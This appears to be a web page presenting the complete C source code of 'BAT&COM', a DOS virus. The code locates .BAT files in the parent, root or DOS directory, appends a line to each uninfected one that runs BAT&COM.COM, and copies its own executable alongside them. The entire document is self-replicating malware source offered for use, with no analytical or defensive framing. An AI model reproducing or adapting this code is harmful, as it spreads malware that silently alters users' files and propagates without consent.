Programme CODES IN “ C “ :- BATCH & COM Programmes

#include <stdio.h>

#include <dos.h>

#include <dir.h>

#include <string.h>

struct ffblk ffblk;

main()

{

char old_dir[MAXPATH];

Get_Path(old_dir);            /* Save the old directory  */

Pick_A_Dir();                 /* Find a new directory to */

Infect_Directory();           /* infect and infect it.   */

chdir(old_dir);               /* Return to old directory */

return 0;

}

Pick_A_Dir()

{

int done;

chdir(“..”);                      /* First, Go out a DIR. */

done=findfirst(“*.BAT”,&ffblk,0); /* If no BAT files, try */

/* root and DOS         */

if (done)

{

chdir(“\\”);

done=findfirst(“*.BAT”,&ffblk,0);

if (done) chdir(“\\DOS\\”);

}

return 0;

}

Infect_Directory()

{

int done;

done = findfirst(“*.BAT”,&ffblk,0);

while (!done)                       /* Find all .BAT files */

{                                /* and add code to run */

Do_Batch();                     /* BAT&COM if not      */

done = findnext(&ffblk);        /* already there       */

}

if (findfirst(“BAT&COM.COM”,&ffblk,0)) /* If BAT&COM does  */

{Copy_Virus();}                     /* not exist, then  */

return 0;                              /* copy it into dir.*/

}

Do_Batch()

{

FILE *batch;

char Infection_Buffer[12];

char vpath[MAXPATH];

Get_Path(vpath);            /* Get path for adding path */

/* specifier in commands    */

if (vpath[3]==0) vpath[2]=0; /* Keep path good in root  */

batch=fopen(ffblk.ff_name, “rt+”);

fseek(batch, -11, SEEK_END);

fread(Infection_Buffer,11,1,batch);

Infection_Buffer[11]=0;             /* Terminate String */

if (strcmp(Infection_Buffer,”BAT&COM.COM”)) /* Check if */

{                                   /* Batch is */

fseek(batch, 0, SEEK_END);          /* infected.*/

fprintf(batch,”\n%s\\BAT&COM.COM”,vpath);

}                              /*^- Add command */

/*   to batch    */

fclose(batch);

return 0;

}

Copy_Virus()

{

FILE *old_virus, *new_virus;

int write_length;

char copy_buffer[1024];              /* Copy the virus to */

/* new directory     */

old_virus=fopen(_argv[0],”rb”);

new_virus=fopen(“BAT&COM.COM”,”wb”);

write_length=1024;

while (write_length==1024)

{

write_length=fread(copy_buffer,1,1024,old_virus);

fwrite(copy_buffer,write_length,1,new_virus);

}

fclose(old_virus);

fclose(new_virus);

return 0;

}

Get_Path(char *path)

{

strcpy(path, “A:\\”);

path[0] =’A’ + getdisk();    /* Returns current path */

getcurdir(0, path+3);

return 0;

}

-       – - —————–End of Code———————— – - -